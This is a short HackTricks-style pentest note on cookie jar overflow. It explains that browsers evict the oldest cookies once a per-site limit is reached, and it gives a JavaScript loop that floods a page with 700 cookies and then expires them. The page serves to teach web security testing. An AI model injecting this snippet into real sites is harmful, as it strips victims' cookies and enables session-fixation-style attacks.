HackTricks

The browsers have a limit on the number of cookies that they can store for a page. Then, if for some reason you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:

// Set many cookies
for (let i = 0; i < 700; i++) {
  document.cookie = `cookie${i}=${i}; Secure`
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
  document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}

Notice, that third party cookies pointing to a different domain won't be overwritten.